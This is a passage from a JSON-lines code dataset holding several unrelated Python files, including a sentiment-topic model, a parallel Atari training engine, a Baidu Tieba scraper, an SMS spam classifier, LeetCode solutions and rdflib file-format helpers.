name = \"n\"\n dic['topic_' + '{:02d}'.format(t + 1) + '_' + name] = [self.idx2word[index] for index in index_list]\n return pd.DataFrame(dic)\n\n def getTopKWordsByTopic(self, K):\n \"\"\"\n Returns top K discriminative words for topic t and sentiment s\n ie words v for which p(v | t, s) is maximum\n \"\"\"\n dic = {}\n phi = self.calculatePhi()\n topic_arr = np.sum(phi, (2))\n for t in range(self.numTopics):\n index_list = np.argsort(-topic_arr[:, t])[:K]\n dic[\"Topic\"+str(t+1)] = [self.idx2word[index] for index in index_list]\n return pd.DataFrame(dic)\n\n def getTopicDist(self, d):\n theta = self.calculateTheta()[d]\n return theta\n\n def getDocSentimentDist(self, d):\n pi = self.calculatePi()[d].T\n theta = self.calculateTheta()[d]\n doc_sentiment_prob = np.dot(pi, theta)\n doc_sentiment_prob /= doc_sentiment_prob.sum()\n return doc_sentiment_prob\n\n def getTopWordsBySenti(self, K):\n dic = {}\n phi = self.calculatePhi()\n senti_arr = np.sum(phi, (1))\n for s in range(self.numSentiments):\n index_list = np.argsort(-senti_arr[:, s])[:K]\n if s == 0:\n name = \"p\"\n else:\n name = \"n\"\n dic[\"Sentiment_\"+ name] = [self.idx2word[index] for index in index_list]\n return pd.DataFrame(dic)\n\n def classify_senti(self):\n doc_sent_inference = []\n for i in range(self.numDocs):\n if i in self.pos_neg_sentence_indices:\n doc_sent_inference.append(np.argmax(self.getDocSentimentDist(i)))\n infer_arr = np.array(doc_sent_inference)\n answer = np.array(self.pos_neg_sentiment_label)\n return np.mean(infer_arr == answer)\n\n def save(self, iteration, path):\n phi = self.calculatePhi()\n theta = self.calculateTheta()\n pi = self.calculatePi()\n name = path + \"_topic_\" + '{:03d}'.format(self.numTopics) + '_iter_' + str(iteration+1)\n np.save(name + \"_phi\", phi)\n np.save(name + \"_theta\", theta)\n np.save(name + \"_pi\", pi)\n\n def run(self, reviews, save_path, print_iter=2, save_iter = 5, maxIters=10):\n for iteration in range(maxIters):\n self.updateTopicVectors()\n if (iteration + 1) % print_iter == 0:\n print(\"Starting iteration %d of %d\" % (iteration + 1, maxIters))\n print(self.classify_senti())\n\n if (iteration + 1) % save_iter == 0:\n print(\"Starting save model\")\n self.save(iteration, save_path)\n\n for d in range(self.numDocs):\n for m in range(self.numSentence[d]):\n self.sampling(d, m)\n","sub_path":"STMD.py","file_name":"STMD.py","file_ext":"py","file_size_in_byte":13671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"94056417","text":"import os\nimport multiprocessing as mp\nimport ctypes\nimport numpy as np\nimport gym\n\nfrom util import list2NumpyBatches, numpyBatches2list\n\nframe_size = (105, 80)\npast_frame = 4\natari_game = 'SpaceInvadersDeterministic-v3' # 'SpaceInvaders-v0' # 'Enduro-v0'\naction_n = 6\n\ntrain_hist_len = 31250\ndef train_epsilon(k):\n return max(0.1, 1.0 - (0.9 / train_hist_len) * k)\ndef eval_epsilon(k):\n return 0.05\n\n\ndef process_frame_for_storage(f):\n f = np.mean(f, axis=2).round().astype(np.uint8)\n f = np.maximum(np.maximum(f[::2, ::2], f[::2, 1::2]), np.maximum(f[1::2, ::2], f[1::2, 1::2]))\n return f\n\ndef process_frame_for_output(f):\n f = f.astype(np.float32) * (1.0 / 255.0)\n return f\n\n\nclass AtariGame:\n def __init__(self, prng_seed, record_dir):\n self.env = gym.make(atari_game)\n self.env.seed(prng_seed)\n if record_dir is not None:\n self.env = gym.wrappers.Monitor(self.env, record_dir, write_upon_reset=True, force=True)\n self.action_n = self.env.action_space.n\n \n def reset(self):\n return self.env.reset()\n \n def action(self, action):\n ob, rew, done, _ = self.env.step(int(action))\n is_new_ep = False\n if done:\n ob = self.reset()\n is_new_ep = True\n return ob, rew, is_new_ep\n \n def close(self):\n self.env.close()\n\n\nclass AtariGame_ParallelWorker(mp.Process):\n def __init__(self, id, pipe, shared_arrs, is_eval, use_replay, record_dir):\n super(AtariGame_ParallelWorker, self).__init__()\n self.id = int(id)\n self.pipe = pipe\n self.shared_arrs = shared_arrs\n self.is_eval = is_eval\n self.use_replay = use_replay\n self.record_dir = record_dir\n\n self.prng = None\n self.game = None\n\n if not is_eval:\n if use_replay:\n self.history_length = train_hist_len + past_frame\n else:\n self.history_length = 1 + past_frame\n self.epsilon = train_epsilon\n else:\n self.history_length = past_frame\n self.epsilon = eval_epsilon\n\n self.store_frame = None\n self.store_action = None\n self.store_reward = None\n self.store_terminal = None\n self.store_p = None\n\n self.epsilon_cnt = None\n \n def run_init(self):\n self.prng = np.random.RandomState(hash(atari_game + str(self.id)) % 4294967296)\n self.game = AtariGame(int(self.prng.randint(4294967296)), self.record_dir)\n\n self.store_frame = np.zeros((self.history_length,) + frame_size, dtype=np.uint8)\n self.store_action = np.zeros((self.history_length,), dtype=np.uint8)\n self.store_reward = np.zeros((self.history_length,), dtype=np.float32)\n self.store_terminal = np.zeros((self.history_length,), dtype=np.bool_)\n self.store_p = 0\n\n self.epsilon_cnt = 0\n self.store_frame[self.store_p] = process_frame_for_storage(self.game.reset())\n self.store_terminal[self.store_p] = True\n\n self.action_input = np.frombuffer(self.shared_arrs[0], dtype=np.int32)\n self.ob_output = np.frombuffer(self.shared_arrs[1], dtype=np.float32).reshape((-1, past_frame) + frame_size)\n self.rew_output = np.frombuffer(self.shared_arrs[2], dtype=np.float32)\n self.terminal_output = np.frombuffer(self.shared_arrs[3], dtype=np.bool_)\n\n if not self.is_eval:\n self.trans_s0 = np.frombuffer(self.shared_arrs[4], dtype=np.float32).reshape((-1, past_frame) + frame_size)\n self.trans_action = np.frombuffer(self.shared_arrs[5], dtype=np.int32)\n self.trans_reward = np.frombuffer(self.shared_arrs[6], dtype=np.float32)\n self.trans_s1 = np.frombuffer(self.shared_arrs[7], dtype=np.float32).reshape((-1, past_frame) + frame_size)\n self.trans_terminal = np.frombuffer(self.shared_arrs[8], dtype=np.bool_)\n \n self.write_state(self.ob_output, self.store_p)\n self.rew_output[self.id] = self.store_reward[self.store_p]\n self.terminal_output[self.id] = self.store_terminal[self.store_p]\n \n def write_state(self, arr, pos):\n assert pos == self.store_p or (pos - self.store_p) % self.history_length >= past_frame\n terminated = False\n for i in xrange(past_frame):\n if terminated:\n arr[self.id, past_frame - 1 - i] = 0\n else:\n p = (pos - i) % self.history_length\n arr[self.id, past_frame - 1 - i] = process_frame_for_output(self.store_frame[p])\n terminated = self.store_terminal[p]\n\n def _take_action(self, action):\n ob, rew, is_new_ep = self.game.action(action)\n self.store_p = (self.store_p + 1) % self.history_length\n self.store_frame[self.store_p] = process_frame_for_storage(ob)\n self.store_action[self.store_p] = action\n self.store_reward[self.store_p] = rew\n self.store_terminal[self.store_p] = is_new_ep\n \n def take_action_epsilon(self):\n if self.action_input[self.id] >= 0:\n action = int(self.action_input[self.id])\n if self.prng.rand() < self.epsilon(self.epsilon_cnt):\n action = self.prng.randint(self.game.action_n)\n self.epsilon_cnt += 1\n self._take_action(action)\n self.write_state(self.ob_output, self.store_p)\n self.rew_output[self.id] = self.store_reward[self.store_p]\n self.terminal_output[self.id] = self.store_terminal[self.store_p]\n \n def get_trans(self):\n assert not self.is_eval\n if self.use_replay:\n p = (self.prng.randint(self.history_length - past_frame) + self.store_p + past_frame + 1) % self.history_length\n else:\n p = self.store_p\n self.write_state(self.trans_s0, (p-1) % self.history_length)\n self.trans_action[self.id] = self.store_action[p]\n if not self.is_eval:\n self.trans_reward[self.id] = np.clip(self.store_reward[p], -1, 1)\n else:\n self.trans_reward[self.id] = self.store_reward[p]\n if not self.store_terminal[p]:\n self.write_state(self.trans_s1, p)\n self.trans_terminal[self.id] = self.store_terminal[p]\n\n def run_close(self):\n self.game.close()\n del self.store_frame\n del self.store_action\n del self.store_reward\n del self.store_terminal\n \n def run(self):\n self.run_init()\n if not self.is_eval and self.use_replay:\n for _ in xrange(train_hist_len):\n self._take_action(self.prng.randint(self.game.action_n))\n while True:\n command = self.pipe.recv()\n if command == 0:\n self.run_close()\n break\n elif command == 1:\n self.take_action_epsilon()\n self.pipe.send(None)\n elif command == 2:\n self.get_trans()\n self.pipe.send(None)\n else:\n raise NotImplementedError()\n\nclass GameBatch_Parallel:\n def __init__(self, size, is_eval, use_replay, record_dir):\n self.size = size\n self.is_eval = is_eval\n self.use_replay = use_replay\n self.record_dir = record_dir\n\n self.state_shape = (past_frame,) + frame_size\n self.action_n = action_n\n\n self.shared_arrs = (mp.Array(ctypes.c_int32, size, lock=False),\n mp.Array(ctypes.c_float, size * past_frame * frame_size[0] * frame_size[1], lock=False),\n mp.Array(ctypes.c_float, size, lock=False),\n mp.Array(ctypes.c_bool, size, lock=False))\n if not is_eval:\n self.shared_arrs += (mp.Array(ctypes.c_float, size * past_frame * frame_size[0] * frame_size[1], lock=False),\n mp.Array(ctypes.c_int32, size, lock=False),\n mp.Array(ctypes.c_float, size, lock=False),\n mp.Array(ctypes.c_float, size * past_frame * frame_size[0] * frame_size[1], lock=False),\n mp.Array(ctypes.c_bool, size, lock=False))\n \n self.action_input = np.frombuffer(self.shared_arrs[0], dtype=np.int32)\n self.ob_output = np.frombuffer(self.shared_arrs[1], dtype=np.float32).reshape((-1, past_frame) + frame_size)\n self.rew_output = np.frombuffer(self.shared_arrs[2], dtype=np.float32)\n self.terminal_output = np.frombuffer(self.shared_arrs[3], dtype=np.bool_)\n\n if not self.is_eval:\n self.trans_s0 = np.frombuffer(self.shared_arrs[4], dtype=np.float32).reshape((-1, past_frame) + frame_size)\n self.trans_action = np.frombuffer(self.shared_arrs[5], dtype=np.int32)\n self.trans_reward = np.frombuffer(self.shared_arrs[6], dtype=np.float32)\n self.trans_s1 = np.frombuffer(self.shared_arrs[7], dtype=np.float32).reshape((-1, past_frame) + frame_size)\n self.trans_terminal = np.frombuffer(self.shared_arrs[8], dtype=np.bool_)\n\n self.workers = []\n self.pipes = []\n for k in xrange(size):\n parent_conn, child_conn = mp.Pipe()\n self.pipes.append(parent_conn)\n worker = AtariGame_ParallelWorker(k, child_conn, self.shared_arrs, is_eval, use_replay, record_dir)\n self.workers.append(worker)\n \n for w in self.workers:\n w.start()\n \n def __del__(self):\n self.close()\n \n def close(self):\n for p in self.pipes:\n p.send(0)\n for w in self.workers:\n w.join()\n \n def take_action(self):\n for p in self.pipes:\n p.send(1)\n for p in self.pipes:\n p.recv()\n \n def get_trans(self):\n assert not self.is_eval\n for p in self.pipes:\n p.send(2)\n for p in self.pipes:\n p.recv()\n\nclass GameEngine_Train:\n def __init__(self, size, use_replay):\n self.size = size\n self.games = GameBatch_Parallel(size, False, use_replay, None)\n\n def __call__(self, actioner_fn):\n self.games.action_input[:] = actioner_fn(self.games.ob_output)\n self.games.take_action()\n \n def get_trans(self):\n self.games.get_trans()\n return self.games.trans_s0, self.games.trans_action, self.games.trans_reward, self.games.trans_s1, self.games.trans_terminal\n \n def close(self):\n self.games.close()\n\nclass GameEngine_Eval:\n def __init__(self, size):\n self.size = size\n self.games = GameBatch_Parallel(size, True, False, None)\n \n def run_episode(self, actioner_fn):\n total_scores = np.zeros(self.size, dtype=np.float32)\n episode_length = np.zeros(self.size, dtype=np.int32)\n running = np.ones(self.size, dtype=np.bool_)\n no_action = -np.ones(self.size, dtype=np.int32)\n while np.any(running):\n self.games.action_input[:] = np.where(running, actioner_fn(self.games.ob_output), no_action)\n self.games.take_action()\n total_scores += running * self.games.rew_output\n episode_length += running\n running = np.logical_and(running, np.logical_not(self.games.terminal_output))\n return total_scores.tolist(), episode_length.tolist()\n\n def __call__(self, actioner_fn, n):\n total_scores = []\n episode_length = []\n for _ in xrange(n):\n tr, el = self.run_episode(actioner_fn)\n total_scores.extend(tr)\n episode_length.extend(el)\n return total_scores, episode_length\n \n def close(self):\n self.games.close()\n\nclass GameEngine_Recorded:\n def __init__(self, record_dir, actioner_batch_size):\n if not os.path.exists(record_dir):\n os.makedirs(record_dir)\n self.actioner_batch_size = actioner_batch_size\n self.games = GameBatch_Parallel(1, True, False, record_dir)\n\n def __call__(self, actioner_fn):\n running = True\n aug_ob = np.zeros((self.actioner_batch_size,) + self.games.state_shape, dtype=np.float32)\n while running:\n aug_ob[0:1] = self.games.ob_output\n self.games.action_input[:] = actioner_fn(aug_ob)[0]\n self.games.take_action()\n running = not bool(self.games.terminal_output[0])\n \n def close(self):\n self.games.close()\n","sub_path":"hw2/game_replay_parallel.py","file_name":"game_replay_parallel.py","file_ext":"py","file_size_in_byte":12420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"338105862","text":"import requests\nfrom lxml import etree\nimport json\n\nclass Tieba:\n\n def __init__(self,tieba_name):\n self.tieba_name = tieba_name #接收贴吧名\n #设置为手机端的UA\n self.headers = {\"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\"}\n\n def get_total_url_list(self):\n '''获取所有的urllist'''\n url = \"https://tieba.baidu.com/f?kw=\"+self.tieba_name+\"&ie=utf-8&pn={}&\"\n url_list = []\n for i in range(100): #通过循环拼接100个url\n url_list.append(url.format(i*50))\n return url_list #返回100个url的urllist\n\n def parse_url(self,url):\n '''一个发送请求,获取响应,同时etree处理html'''\n print(\"parsing url:\",url)\n response = requests.get(url,headers=self.headers,timeout=10) #发送请求\n html = response.content.decode() #获取html字符串\n html = etree.HTML(html) #获取element 类型的html\n return html\n\n def get_title_href(self,url):\n '''获取一个页面的title和href'''\n html = self.parse_url(url)\n li_temp_list = html.xpath(\"//li[@class='tl_shadow']\") #分组,按照li标签分组\n total_items = []\n for i in li_temp_list: #遍历分组\n href = \"https:\"+i.xpath(\"./a/@href\")[0] if len(i.xpath(\"./a/@href\"))>0 else None\n text = i.xpath(\"./a/div[1]/span[1]/text()\")\n text = text[0] if len(text)>0 else None\n item = dict( #放入字典\n href = href,\n text = text\n )\n total_items.append(item)\n return total_items #返回一个页面所有的item\n\n def get_img(self,url):\n '''获取一个帖子里面的所有图片'''\n html = self.parse_url(url) #返回elemet累心的html,具有xpath方法\n img_list = html.xpath('//div[@data-class=\"BDE_Image\"]/@data-url')\n img_list = [i.split(\"src=\")[-1] for i in img_list] #提取图片的url\n img_list = [requests.utils.unquote(i) for i in img_list]\n return img_list\n\n def save_item(self,item):\n '''保存一个item'''\n with open(\"./teibatupian.txt\",\"a\") as f:\n f.write(json.dumps(item,ensure_ascii=False,indent=2))\n f.write(\"\\n\")\n\n def run(self):\n #1、找到了url规律,url list\n url_list = self.get_total_url_list()\n for url in url_list:\n #2、遍历urllist 发送请求,获得响应,etree处理html\n # 3、提取title,href\n total_item = self.get_title_href(url)\n for item in total_item:\n href = item[\"href\"]\n img_list = self.get_img(href) #获取到了帖子的图片列表\n item[\"img\"] = img_list\n # 4、保存到本地\n print(item)\n self.save_item(item)\n\nif __name__ == \"__main__\":\n tieba = Tieba(\"猫\")\n tieba.run()","sub_path":"练习.py","file_name":"练习.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"176216557","text":"import json\nimport pandas as pd\nfrom environment.structures import prepare_phenotype_for_js_from_es, ExpressionSet\nfrom workflow.blocks.blocks_pallet import GroupType\nfrom workflow.blocks.fields import ActionsList, ActionRecord, ParamField, InputType, FieldType, BlockField, \\\n OutputBlockField\nfrom workflow.blocks.generic import GenericBlock\n\n__author__ = 'pavel'\n\n\nclass UserUpload(GenericBlock):\n block_base_name = \"UPLOAD\"\n block_group = GroupType.INPUT_DATA\n is_abstract = True\n\n _block_actions = ActionsList([\n ActionRecord(\"save_params\", [\"created\", \"valid_params\", \"done\", \"ready\"], \"validating_params\",\n user_title=\"Save parameters\"),\n ActionRecord(\"on_params_is_valid\", [\"validating_params\"], \"valid_params\"),\n ActionRecord(\"on_params_not_valid\", [\"validating_params\"], \"created\"),\n\n ActionRecord(\"process_upload\", [\"valid_params\", \"processing_upload\"],\n \"processing_upload\", \"Process uploaded data\", reload_block_in_client=True),\n ActionRecord(\"success\", [\"processing_upload\"], \"done\", reload_block_in_client=True),\n ActionRecord(\"error\", [\"processing_upload\"], \"valid_params\", reload_block_in_client=True),\n ])\n\n es_matrix = ParamField(\"es_matrix\", title=\"Expression set matrix\", order_num=0,\n input_type=InputType.FILE_INPUT, field_type=FieldType.CUSTOM)\n es_matrix_ori = ParamField(\n \"es_matrix_ori\", title=\"Matrix orientation\", order_num=1,\n input_type=InputType.SELECT, field_type=FieldType.STR,\n init_val=\"SxG\",\n options={\n \"inline_select_provider\": True,\n \"select_options\": [\n [\"SxG\", \"Samples x Genes\"],\n [\"GxS\", \"Genes x Samples\"]\n ]\n }\n )\n pheno_matrix = ParamField(\"pheno_matrix\", title=\"Phenotype matrix\", order_num=10,\n input_type=InputType.FILE_INPUT, field_type=FieldType.CUSTOM)\n gpl_platform = ParamField(\"gpl_platform\", title=\"Platform ID\", order_num=20,\n input_type=InputType.TEXT, field_type=FieldType.STR, required=False)\n working_unit = ParamField(\"working_unit\", title=\"Working unit [used when platform is unknown]\",\n order_num=3, input_type=InputType.TEXT, field_type=FieldType.STR, required=False)\n # TODO: add sub page field\n # pages = BlockField(\"pages\", FieldType.RAW, init_val={\n # \"assign_sample_classes\": {\n # \"title\": \"Assign sample classes\",\n # \"resource\": \"assign_sample_classes\",\n # \"widget\": \"widgets/fetch_gse/assign_sample_classes.html\"\n # },\n # })\n _is_sub_pages_visible = BlockField(\"is_sub_pages_visible\", FieldType.RAW, is_a_property=True)\n\n ### PARAMETERS\n _expression_set = OutputBlockField(name=\"expression_set\", field_type=FieldType.HIDDEN,\n provided_data_type=\"ExpressionSet\")\n _gpl_annotation = OutputBlockField(name=\"gpl_annotation\", field_type=FieldType.HIDDEN,\n provided_data_type=\"PlatformAnnotation\")\n\n # TODO: COPY PASTE from fetch_gse block\n pages = BlockField(\"pages\", FieldType.RAW, init_val={\n \"assign_phenotype_classes\": {\n \"title\": \"Assign phenotype classes\",\n \"resource\": \"assign_phenotype_classes\",\n \"widget\": \"widgets/assign_phenotype_classes.html\"\n },\n })\n\n def __init__(self, *args, **kwargs):\n super(UserUpload, self).__init__(\"User upload\", *args, **kwargs)\n\n\n @property\n def is_sub_pages_visible(self):\n if self.state in ['source_was_preprocessed', 'sample_classes_assigned', 'ready', 'done']:\n return True\n return False\n\n def phenotype_for_js(self, exp, *args, **kwargs):\n return prepare_phenotype_for_js_from_es(self.get_out_var(\"expression_set\"))\n\n def update_user_classes_assignment(self, exp, request, *args, **kwargs):\n es = self.get_out_var(\"expression_set\")\n pheno_df = es.get_pheno_data_frame()\n\n received = json.loads(request.body)\n es.pheno_metadata[\"user_class_title\"] = received[\"user_class_title\"]\n pheno_df[received[\"user_class_title\"]] = received[\"classes\"]\n\n es.store_pheno_data_frame(pheno_df)\n exp.store_block(self)\n\n def process_upload(self, exp, *args, **kwargs):\n \"\"\"\n @param exp: Experiment\n \"\"\"\n self.clean_errors()\n\n assay_df = pd.DataFrame.from_csv(self.es_matrix.get_file())\n\n es = ExpressionSet(base_dir=exp.get_data_folder(),\n base_filename=\"%s_annotation\" % self.uuid)\n\n pheno_df = pd.DataFrame.from_csv(self.pheno_matrix.get_file())\n pheno_df.set_index(pheno_df.columns[0])\n\n user_class_title = es.pheno_metadata[\"user_class_title\"]\n if user_class_title not in pheno_df.columns:\n pheno_df[es.pheno_metadata[\"user_class_title\"]] = \"\"\n\n # if matrix is bad oriented, then do transposition\n if self.es_matrix_ori == \"GxS\":\n assay_df = assay_df.T\n\n es.store_assay_data_frame(assay_df)\n es.store_pheno_data_frame(pheno_df)\n\n if self.working_unit:\n es.working_unit = self.working_unit\n\n self.set_out_var(\"expression_set\", es)\n\n exp.store_block(self)\n\n self.do_action(\"success\", exp)\n # self.celery_task_fetch.apply_async()\n\n def success(self, exp, *args, **kwargs):\n pass","sub_path":"mixgene_project/workflow/blocks/input_data/user_upload.py","file_name":"user_upload.py","file_ext":"py","file_size_in_byte":5431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"398383995","text":"import pandas as pd\nfrom nlpia.data.loaders import get_data\n\n#### 垃圾短信 数据\n\npd.options.display.width = 120\nsms = get_data('sms-spam')\nprint(sms)\n\nindex = ['sms{}{}'.format(i, '!'*j) for (i, j) in zip(range(len(sms)), sms.spam)]\nprint(index)\n\nsms = pd.DataFrame(sms.values, columns=sms.columns, index=index)\nprint(sms)\n\nsms['spam'] = sms.spam.astype(int)\nprint(sms)\n\nprint(sms.spam.sum())\n\n\n#### 分词并转换 TF-IDF 向量\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom nltk.tokenize.casual import casual_tokenize\n\ntfidf_model = TfidfVectorizer(tokenizer=casual_tokenize)\ntfidf_docs = tfidf_model.fit_transform(raw_documents=sms.text).toarray()\n\n\n# 9232 个列 即 9232 个词\n# 4837 行 即 4837 条观测数据\nprint(tfidf_docs.shape)\n# 638 行 即 638 条垃圾短信标注\nprint(sms.spam.sum())\n\n\n\"\"\"\n对于 样本总数量 远大于标注数量的 训练集, 朴素贝叶斯效果并不好.\n尝试使用 语义分析 LDA\n\"\"\"\n\n# for (i, j) in zip(range(len(sms)), sms.spam):\n# print(\"i: {}\".format(i))\n# print(\"j: {}\\n\".format(j))\n\n# mask 按照 索引序号 标记是否为垃圾短信\nmask = sms.spam.astype(bool).values\n\n# 计算垃圾短信的 质心 : 即标注为垃圾短信的 4199 行 数据的均值, 得到一行 9232列的向量\nspam_centroid = tfidf_docs[mask].mean(axis=0)\n# 计算非垃圾短信的 质心 : 即标注为垃圾短信的 638 行 数据的均值, 得到一行 9232列的向量\nham_centroid = tfidf_docs[~mask].mean(axis=0)\n\n\n# 质心向量相减 得到分类线\nspaminess_score = tfidf_docs.dot(spam_centroid - ham_centroid)\nprint(spaminess_score)\n\n# 预测得分\nfrom sklearn.preprocessing import MinMaxScaler\nsms['lda_score'] = MinMaxScaler().fit_transform(spaminess_score.reshape(-1, 1))\nsms['lda_predict'] = (sms.lda_score > 0.5).astype(int)\n\n\nprint(\"准确率:{}\".format(1 - ( sms.spam - sms.lda_predict).abs().sum() / sms['spam'].count() ))\n\nprint(\"混淆矩阵:\")\nfrom pugnlp.stats import Confusion\nprint(Confusion(sms['spam lda_predict'.split()]))\n\nprint(\"end\")","sub_path":"python/nlp/chapter4/_1_data_collection.py","file_name":"_1_data_collection.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"394333763","text":"\"\"\"\nhttps://leetcode.com/problems/bulls-and-cows/\n\"\"\"\nimport unittest\n\n\nclass Test(unittest.TestCase):\n def test1(self):\n self.assertEquals(\"1A3B\", Solution().getHint(\"1807\", \"7810\"))\n\n def test2(self):\n self.assertEquals(\"1A1B\", Solution().getHint(\"1123\", \"0111\"))\n\n def test3(self):\n self.assertEquals(\"1A0B\", Solution().getHint(\"11\", \"10\"))\n\n\nclass Solution(object):\n def getHint(self, secret, guess):\n length = len(secret)\n dic = {}\n\n bulls = 0\n for i in range(length):\n if secret[i] == guess[i]:\n bulls += 1\n dic[secret[i]] = dic.get(secret[i], 0) + 1\n\n cows = 0\n for g in guess:\n if g in dic and dic[g] > 0:\n dic[g] -= 1\n cows += 1\n\n return str(bulls) + 'A' + str(cows - bulls) + 'B'\n","sub_path":"leetcode/bulls-and-cows/bulls-and-cows.py","file_name":"bulls-and-cows.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"135026947","text":"class Node:\n def __init__(self, val=0, left=None,right=None):\n self.val = val\n self.left = left\n self.right = right\n\nclass Solution:\n def hasPathSum(self, root: Node, sum: int) -> bool:\n \n # Base Case:\n if not root:\n return False\n if not root.left and not root.right and root.val == sum:\n return True\n return self.hasPathSum(root.left, sum-root.val) or self.hasPathSum(root.right, sum-root.val)\n\n # if not root:\n # return None\n # if not root and sum==0:\n # return True\n # from collections import deque\n # queue = deque()\n # queue.append([root, sum-root.val])\n\n # while queue:\n # node, remaining_sum = queue.popleft()\n # if not node.left and not node.right and remaining_sum == 0:\n # return True\n # if node.left:\n # queue.append([node.left, remaining_sum - node.left.val])\n # if node.right:\n # queue.append([node.right, remaining_sum - node.right.val])\n # return False\n\nroot = Node(5)\nroot.left = Node(4)\nroot.right = Node(8)\nroot.left.left = Node(11)\nroot.left.left.left = Node(7)\nroot.left.left.right = Node(2)\nroot.right.left = Node(13)\nroot.right.right = Node(4)\nroot.right.right.right = Node(1)\n\nobj = Solution()\nprint(obj.hasPathSum(root,21))\nprint(obj.hasPathSum(root,22))","sub_path":"112-Path-Sum.py","file_name":"112-Path-Sum.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"431530984","text":"import shelve\n\"\"\"\nshelve模块是一个简单的k,v将内存的数据文件持久化到模块,可以持久化任何pickle可支持的python数据文件格式\n\n\n\"\"\"\n\nd = shelve.open('shelve_test') # 打开一个文件\n\ndef stu_data(name, age):\n print(\"register stu\", name, age)\n\nname = ['xiaofeng', 'chenjun', 'xxx']\n\nd[\"test\"] = name\nd['fun'] = stu_data\n\n","sub_path":"student_day6/shelve_module.py","file_name":"shelve_module.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"128020787","text":"\"\"\"\nRDF- and RDFlib-centric file and URL path utilities.\n\"\"\"\n\nfrom os.path import splitext\nimport sys\nimport getopt\nimport rdflib\nimport codecs\n\ndef uri_leaf(uri):\n \"\"\"\n Get the \"leaf\" - fragment id or last segment - of a URI. Useful e.g. for\n getting a term from a \"namespace like\" URI. Examples:\n\n >>> uri_leaf('http://example.org/ns/things#item')\n 'item'\n >>> uri_leaf('http://example.org/ns/stuff/item')\n 'item'\n >>> uri_leaf('http://example.org/ns/stuff/')\n ''\n \"\"\"\n return uri.rsplit('/', 1)[-1].rsplit('#', 1)[-1]\n\n\nSUFFIX_FORMAT_MAP = {\n 'rdf': 'xml',\n 'rdfs': 'xml',\n 'owl': 'xml',\n 'n3': 'n3',\n 'ttl': 'n3',\n 'nt': 'nt',\n 'trix': 'trix',\n 'xhtml': 'rdfa',\n 'html': 'rdfa',\n 'svg': 'rdfa',\n 'nq': 'nquads',\n 'trig': 'trig'\n}\n\ndef guess_format(fpath, fmap=None):\n \"\"\"\n Guess RDF serialization based on file suffix. Uses\n ``SUFFIX_FORMAT_MAP`` unless ``fmap`` is provided. Examples:\n\n >>> guess_format('path/to/file.rdf')\n 'xml'\n >>> guess_format('path/to/file.owl')\n 'xml'\n >>> guess_format('path/to/file.ttl')\n 'n3'\n >>> guess_format('path/to/file.xhtml')\n 'rdfa'\n >>> guess_format('path/to/file.svg')\n 'rdfa'\n >>> guess_format('path/to/file.xhtml', {'xhtml': 'grddl'})\n 'grddl'\n\n This also works with just the suffixes, with or without leading dot, and\n regardless of letter case::\n\n >>> guess_format('.rdf')\n 'xml'\n >>> guess_format('rdf')\n 'xml'\n >>> guess_format('RDF')\n 'xml'\n \"\"\"\n fmap = fmap or SUFFIX_FORMAT_MAP\n return fmap.get(_get_ext(fpath)) or fmap.get(fpath.lower()) \n\n\ndef _get_ext(fpath, lower=True):\n \"\"\"\n Gets the file extension from a file(path); stripped of leading '.' and in\n lower case. Examples:\n\n >>> _get_ext(\"path/to/file.txt\")\n 'txt'\n >>> _get_ext(\"OTHER.PDF\")\n 'pdf'\n >>> _get_ext(\"noext\")\n ''\n >>> _get_ext(\".rdf\")\n 'rdf'\n \"\"\"\n ext = splitext(fpath)[-1]\n if ext == '' and fpath.startswith(\".\"): \n ext = fpath\n if lower:\n ext = ext.lower()\n if ext.startswith('.'):\n ext = ext[1:]\n return ext\n\ndef _help(): \n sys.stderr.write(\"\"\"\nprogram.py [-f ] [-o ] [files...]\nRead RDF files given on STDOUT - does something to the resulting graph\nIf no files are given, read from stdin\n-o specifies file for output, if not given stdout is used\n-f specifies parser to use, if not given it is guessed from extension\n\n\"\"\")\n \n\ndef main(target, _help=_help): \n args, files=getopt.getopt(sys.argv[1:], \"hf:o:\")\n args=dict(args)\n\n if \"-h\" in args: \n _help()\n sys.exit(-1)\n \n g=rdflib.Graph()\n\n if \"-f\" in args: \n f=args[\"-f\"]\n else: \n f=None\n\n if \"-o\" in args: \n sys.stderr.write(\"Output to %s\\n\"%args[\"-o\"])\n out=codecs.open(args[\"-o\"], \"w\",\"utf-8\")\n else: \n out=sys.stdout\n\n if len(files)==0: \n sys.stderr.write(\"Reading RDF/XML from stdin...\\n\")\n g.load(sys.stdin, format=\"xml\")\n else: \n for x in files:\n f=guess_format(x)\n sys.stderr.write(\"Loading %s as %s... \"%(x,f))\n g.load(x, format=f)\n sys.stderr.write(\"[done]\\n\")\n\n sys.stderr.write(\"Loaded %d triples.\\n\"%len(g))\n \n target(g,out)\n\n\n","sub_path":"src/rdfextras/tools/pathutils.py","file_name":"pathutils.py","file_ext":"py","file_size_in_byte":3454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"341647385","text":"import sys\nimport numpy as np\n\n\n\ndef read_input(file):\n for line in file:\n yield line.rstrip()\n\n\ninput = read_input(sys.stdin)\nmapperOut = [line.split('\\t') for line in input]\nprint(mapperOut)\ncumVal = 0.0\ncumSumSq = 0.0\ncumN = 0.0\nfor instance in mapperOut:\n nj = float(instance[0])\n cumN += nj\n cumVal += nj*float(instance[1])\n 